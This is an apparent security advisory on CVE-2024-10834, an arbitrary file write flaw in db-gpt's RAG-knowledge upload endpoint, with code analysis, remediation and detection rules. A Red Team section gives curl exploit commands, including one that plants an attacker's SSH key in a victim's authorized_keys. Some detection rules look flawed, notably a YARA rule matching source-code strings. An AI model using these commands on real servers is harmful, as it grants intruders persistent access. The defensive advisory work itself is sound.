CVE-2024-10834

Executive Summary

CVE-2024-10834 is a critical arbitrary file write vulnerability in eosphoros-ai/db-gpt version 0.6.0. The flaw resides in the RAG-knowledge endpoint, where an attacker can supply an absolute path via the doc_file.filename parameter. Due to improper input validation and the use of os.path.join with user-controlled absolute paths, an attacker can write files to arbitrary locations on the target server. This can lead to overwriting system files, creating new SSH keys, or deploying malicious payloads. The CVSS score is 9.1 (Critical), and no patch is currently available.

Supply Chain & Package Security

This vulnerability affects the Python package db-gpt (PyPI). Organizations using this package should immediately assess their exposure and consider isolating the service until a patch is released. The lack of a patch and public exploit code increases the risk of active exploitation.

CVSS Breakdown & Threat Level

• CVSS Score: 9.1 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The vulnerability allows an unauthenticated attacker to write arbitrary files to the server, potentially leading to full system compromise.

Deep Dive & Mechanics

The vulnerability is in the RAG-knowledge endpoint of db-gpt. The application uses os.path.join to construct file paths for uploaded documents. When the doc_file.filename parameter is set to an absolute path (e.g., /etc/ssh/authorized_keys), os.path.join returns that absolute path, bypassing any intended directory restrictions. This allows the attacker to write the uploaded file content to any location on the filesystem.

The core issue is the lack of validation on the filename parameter. The application should sanitize the filename to prevent path traversal and absolute path injection.

Vulnerable vs. Patched Code

Vulnerable Code (db-gpt 0.6.0):

# In the RAG-knowledge endpoint handler
file_path = os.path.join(UPLOAD_DIR, doc_file.filename)
with open(file_path, 'wb') as f:
    f.write(doc_file.file.read())

Patched Code (Hypothetical):

# Sanitize the filename to prevent absolute path injection
import os
import re

def safe_filename(filename):
    # Remove any path components
    filename = os.path.basename(filename)
    # Remove any non-alphanumeric characters except underscore and dot
    filename = re.sub(r'[^\w\.]', '', filename)
    return filename

file_path = os.path.join(UPLOAD_DIR, safe_filename(doc_file.filename))
with open(file_path, 'wb') as f:
    f.write(doc_file.file.read())

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running db-gpt 0.6.0 with RAG-knowledge endpoint exposed.
• Network access to the endpoint.

Exploit Steps:

1. Identify the RAG-knowledge endpoint (e.g., /api/v1/rag/knowledge/upload).
2. Craft a multipart POST request with doc_file.filename set to an absolute path (e.g., /tmp/evil.txt).
3. Include the file content in the request body.
4. Send the request.

Example using curl:

curl -X POST http://target:5000/api/v1/rag/knowledge/upload \
  -F "doc_file=@/path/to/local/file;filename=/tmp/evil.txt"

Advanced Exploit (SSH Key Injection):

# Generate SSH key pair
ssh-keygen -t rsa -b 4096 -f /tmp/evil_key -N ""
# Upload public key to authorized_keys
curl -X POST http://target:5000/api/v1/rag/knowledge/upload \
  -F "doc_file=@/tmp/evil_key.pub;filename=/home/victim/.ssh/authorized_keys"

Blue Team

Detection:

• Monitor for unusual file writes to sensitive directories (e.g., /etc, /root, /home).
• Alert on requests with absolute paths in the filename parameter.
• Use file integrity monitoring (FIM) to detect unauthorized changes.

Mitigation:

• Apply input validation to sanitize filenames.
• Restrict write permissions for the application user.
• Use a Web Application Firewall (WAF) to block requests with absolute paths.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /api/v1/rag/knowledge/upload with filename containing absolute paths (e.g., /etc/, /root/).
• File System: Unexpected files in /tmp, /etc, /home, or other sensitive directories.
• Process: Unusual child processes spawned by the db-gpt service (e.g., ssh, bash).
• Logs: Application logs showing file writes to absolute paths.

Detection Engineering

YARA Rule

rule CVE_2024_10834_Arbitrary_File_Write {
    meta:
        description = "Detects attempts to exploit CVE-2024-10834 in db-gpt"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-10834"
    strings:
        $s1 = "doc_file.filename" ascii wide nocase
        $s2 = "/api/v1/rag/knowledge/upload" ascii wide nocase
        $s3 = "os.path.join" ascii wide nocase
    condition:
        any of ($s1, $s2) and $s3
}

Sigma Rule

title: CVE-2024-10834 - Arbitrary File Write via RAG-knowledge Endpoint
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with absolute paths in the filename parameter to the db-gpt RAG-knowledge endpoint.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/v1/rag/knowledge/upload'
        cs-uri-query|contains: 'filename=/'
    condition: selection
falsepositives:
    - Legitimate use of absolute paths (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-10834 - db-gpt Arbitrary File Write Attempt"; flow:to_server; content:"POST"; http_method; content:"/api/v1/rag/knowledge/upload"; http_uri; content:"filename=/"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the db-gpt service from untrusted networks.
2. Apply input validation to sanitize the filename parameter (e.g., use os.path.basename).
3. Restrict write permissions for the application user to only necessary directories.
4. Monitor logs for exploitation attempts.

Long-term Fix:

• Wait for an official patch from eosphoros-ai.
• Consider switching to an alternative solution if no patch is released.

Workaround:

• Implement a reverse proxy (e.g., Nginx) to block requests with absolute paths in the filename parameter.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert